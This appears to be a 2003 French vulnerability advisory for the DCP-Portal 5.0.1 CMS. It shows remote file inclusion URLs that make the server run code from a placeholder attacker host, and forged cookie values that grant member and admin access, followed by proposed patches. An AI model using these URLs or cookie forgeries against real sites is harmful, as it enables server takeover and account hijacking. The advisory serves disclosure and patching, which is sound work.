DCP-Portal
**********
Informations :
°°°°°°°°°°°°°°
Version : 5.0.1
Website : http://www.dcp-portal.org
Problèmes : - Inclusions de fichiers
- Accès aux comptes membres
- Accès à la partie administration
Developpement :
°°°°°°°°°°°°°°°
DCP-Portal est un CMS ayant des dispositifs avancés comme la mise à jour, les liens, les dossiers,
la gestion de membres, les votes, un calendrier,... Il comprend une partie admin permettant de rédigier, e html ou pas,
des news, des articles,... Les membres peuvent soumettre des news.
C'est un script multi-langue, avec un système de messagerie privée, un FAQ, une mailing liste, ....
Les deux premières failles, permettant d'inclure des fichiers distants, ne fonctionne qu'à condition que
le register_globals soit ON.
Il y a une faille liée à la fonction include() dans deux fichiers.
Voici le code buggé du premier, /library/editor/editor.php :
----------------------------------------------------------
[...]
$abs_path_editor = "$root/library/editor/";
[...]
if( !isset($insertat_editor) ){
include $abs_path_editor."PropAcce_string.php";
}
[...]
----------------------------------------------------------
Le script va donc inclure le fichier $root/library/editor/PropAcce_string.php.
Si on définit $root nous même, par exemple en lui donnant la valeur "http://[attacker]", avec l'url :
http://[target]/library/editor/editor.php?root=http://[attacker], et que le fichier
http://[attacker]/library/editor/PropAcce_string.php existe, ce dernier sera inclut, et le code qui s'y trouve (si il y
en a) sera executé sur le serveur [target], avec ses droits et restrictions.
On a le même type de code (et donc de vulnérabilité) dans le fichier /library/lib.php :
----------------------------------------
<?
include ("$root/library/lib_nav.php");
include ("$root/library/lib_mods.php");
include ("$root/library/lib_admin.php");
include ("$root/library/lib_3rd.php");
[...]
----------------------------------------
Ici, si une personne tape l'url http://[target]/library/lib.php?root=http://[attacker], il aura le choix entre quatre
fichiers à inclure :
- http://[attacker]/library/lib_nav.php
- http://[attacker]/library/lib_mods.php
- http://[attacker]/library/lib_admin.php
- http://[attacker]/library/lib_3rd.php
Voyons maintenant la sécurité au niveau membre.
Certaines fichiers comme inbox.php, update.php,... sont réservés aux membres inscrits.
Voici le script se trouvant dans ces fichiers qui vérifie que l'authentification a bien été effectuée :
---------------------------------------------------
[...]
if (!isset($HTTP_COOKIE_VARS["dcp5_member_id"])) {
header ("Location: login.php");
exit();
}
[...]
---------------------------------------------------
Ici le register_globals n'a plus d'influence, car il est spécifié grâce au HTTP_COOKIE_VARS que c'est un cookie
qui est utilisé.
Pour avoir accès à un compte membre spécifique, il suffira d'envoyer une des pages du site un cookie nommé dcp5_member_id
et avec comme valeur l'id du membre.
On a aussi une faille liée aux cookies pour toute la partie admin. En effet, dans chacun des fichiers du dossier /admin/
(/admin/*.php), on peut voir le code suivant :
--------------------------------------------------
if ($HTTP_COOKIE_VARS["dcp5_member_admin"] != 5) {
header("Location: index.php");
exit();
}
--------------------------------------------------
Ici, le nom du cookie à envoyer pour être admin sera dcp5_member_admin, et sa valeur obligatoirement '5'.
Patch :
°°°°°°°
Le patch que je propose pour la fonction include() est sécurisé uniquement à condition que l'attaqueur n'ait
pas un accès à une aprtie du disque dur, comme /home/ftp/incoming.
Dans /library/editor/editor.php, remplacer les lignes :
----------------------------------------------------------
if( !isset($insertat_editor) ){
include $abs_path_editor."PropAcce_string.php";
}
----------------------------------------------------------
par :
----------------------------------------------------------
if( !isset($insertat_editor) AND file_exists($abs_path_editor."PropAcce_string.php") ){
include $abs_path_editor."PropAcce_string.php";
}
----------------------------------------------------------
Dans /library/lib.php, ajouter cette ligne avant le reste du code :
-------------------------------------------------------------------------
if (!file_exists("$root/library/lib_nav.php")){ die("Path not found."); }
-------------------------------------------------------------------------
Pour les failles cookies, il faut changer tout le système d'authentification, par exemple avec un système de sessions.
Les auteurs ont été prévenus.
Greetz :
°°°°°°°°
Arne Blankerts, Joel Wiesmann, Spacewalker
Credits :
°°°°°°°°°
Auteur : frog-m@n
E-mail : frog-man@phpsecure.org
Website : http://www.frog-man.org, http://www.phpsecure.org.
Date : 04/01/03
Copyright frog-m@n
http://www.phpsecure.info/v2/zone/pArticle